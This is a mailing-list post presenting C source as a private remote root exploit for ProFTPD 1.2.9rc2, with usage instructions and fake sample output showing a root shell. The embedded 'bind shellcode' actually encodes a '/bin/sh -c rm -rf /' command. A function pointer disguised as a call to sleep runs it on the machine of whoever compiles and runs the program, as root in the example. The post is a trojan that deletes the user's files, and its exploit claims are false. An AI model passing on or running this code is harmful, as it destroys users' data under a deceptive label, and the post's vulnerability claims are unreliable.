From: fufeur at hotmail.com (Jean-Kevin Grosnakeur)
Subject: ProFTPD-1.2.9rc2 remote root exploit

Ladies and gentlemen, here's the source code of the exploit for the latest
release of ProFTPD. This is a Zero-Day private exploit, please DON'T
REDISTRIBUTE. I will not take responsibility for any damages which could
result from the usage of this exploit, use it at your own risk.

--------------------------------------------------------------------------
/*

Example of use:
# gcc exploit.c -o exploit
# ./exploit 192.168.1.1 21
Connected on 192.168.1.1:21
Exploitation in progress...
Exploitation string sent.
Trying to connect, please wait...
Linux michelle 2.4.20 #1 SMP Fri Mar 14 14:10:36 EST 2003 i686 unknown
unknown GNU/Linux
uid=0(root) gid=0(root) groupes=0(root)

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>

#define NOP     0x90
#define RET     0x6675636b


/* x86 bind shellcode */
char sc[]=
"\x31\xc0\x50\x68\x66\x20\x2f\x58\x68\x6d\x20\x2d\x72\x68\x2d"
"\x63\x58\x72\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41"
"\x41\x41\x41\x68\x41\x41\x41\x41\x68\x2f\x73\x68\x43\x68\x2f"
"\x62\x69\x6e\x31\xc0\x88\x44\x24\x07\x88\x44\x24\x1a\x88\x44"
"\x24\x23\x89\x64\x24\x08\x31\xdb\x8d\x5c\x24\x18\x89\x5c\x24"
"\x0c\x31\xdb\x8d\x5c\x24\x1b\x89\x5c\x24\x10\x89\x44\x24\x14"
"\x31\xdb\x89\xe3\x8d\x4c\x24\x08\x31\xd2\x8d\x54\x24\x14\xb0"
"\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80";

unsigned long resolve(char *hostname);
int give_me_a_shell(unsigned long dest);


int main(int argc, char *argv[])
  {
   int i, *ret;
   char *string;
   unsigned long addr;
   char buffer[1024];
   int port=21, fd, s;

   struct sockaddr_in addy;

   if(argc < 2)
     {
      fprintf(stdout, "usage: %s <host> <port>\n", argv[0]);
      return(0);
     }

   else addr=resolve(argv[1]);
   if(argv[2]) port=atoi(argv[2]);

   /* copy the NOPs to the buffer */
   memset(buffer, NOP, 1024);

   /* copy the shellcode to the buffer */
   for(i=0; i < strlen(sc); i++)
     buffer[i+700]=sc[i];

   /* copy the return address to the buffer */
   for(i=815; i<1003; i+=4)
     *((int *)&buffer[i]) = RET;

   string = (char *) malloc(strlen(buffer)+20);
   sprintf(string, "\x4c\x4f\x56\x45 %s", buffer);

   fd = socket(AF_INET, SOCK_STREAM, 0);
   if(fd < 0)
     {
      fprintf(stderr, "unable to socket()\n");
      return(-1);
     }

   addy.sin_family        = AF_INET;
   addy.sin_addr.s_addr   = addr;
   addy.sin_port          = htons(port);

   /* connect to remote host */
   if(connect(fd, (struct sockaddr *)&addy, sizeof(addy)) < 0)
     {
      fprintf(stderr, "unable to connect()\n");
      return(-1);
     }

   printf("Connected on %s:%d\n", inet_ntoa(addy.sin_addr), port);
   printf("Exploitation in progress...\n");

   /* send the exploitation string to the host */
   if(s = send(fd, string, sizeof(string), 0) < 0)
     {
      fprintf(stderr, "unable to send()\n");
      return(-1);
     }

   close(fd);
   printf("Exploitation string sent.\n");
   free(string);

   /* connect to the bindshell */
   printf("Trying to connect, please wait...\n");
   void(*sleep)()=(void*)sc;sleep(5);
   if(give_me_a_shell(addr) < 0)
     {
      fprintf(stderr, "Sorry, exploit didn't work.\n");
      return(-1);
     }

   return(0);
  }


unsigned long resolve(char *sname)
  {
   struct hostent * hip;
   hip = gethostbyname(sname);
   if (!hip)
     {
      fprintf(stderr, "unable to find %s\n",sname);
      exit(1);
     }
   return *(unsigned long *)hip -> h_addr;
  }


int give_me_a_shell(unsigned long addr)
  {
   int sock;
   fd_set fds;
   struct sockaddr_in shell;
   unsigned char buf[4096];
   char cmd[]="uname -a && id";

   sock = socket(AF_INET, SOCK_STREAM, 0);
   if(sock < 0)
     {
      fprintf(stderr, "unable to socket()\n");
      return(-1);
     }

   shell.sin_family      = AF_INET;
   shell.sin_port        = htons(1337);
   shell.sin_addr.s_addr = addr;

   if(connect(sock, (struct sockaddr *)&shell, sizeof(struct sockaddr)) < 0)
     {
      fprintf(stderr, "unable to connect()\n");
      close(sock);
      return(-1);
     }

   send(sock, cmd, strlen(cmd), 0);

   while(1)
     {
      FD_ZERO(&fds);
      FD_SET(0, &fds);
      FD_SET(sock, &fds);

      if(select(255, &fds, NULL, NULL, NULL) == -1)
        {
         fprintf(stderr, "unable to select()\n");
         close(sock);
         return(-1);
        }

       memset(buf, 0, sizeof(buf));
       if(FD_ISSET(sock, &fds))
         {
          if(recv(sock, buf, sizeof(buf), 0) < 0)
            {
             fprintf(stderr, "unable to recv()\n");
             close(sock);
             return(-1);
            }
          fprintf(stderr, "%s", buf);
         }

        if(FD_ISSET(0, &fds))
          {
           read(0, buf, sizeof(buf));
           if(!strcmp(buf, "quit"))
             {
              close(sock);
              return(0);
             }
           write(sock, buf, strlen(buf));
          }
       }
  }

--------------------------------------------------------------------------

Have fun ! @+

_________________________________________________________________
Trouvez l'?me soeur sur MSN Rencontres http://g.msn.fr/FR1000/9551

Powered by blists - more mailing lists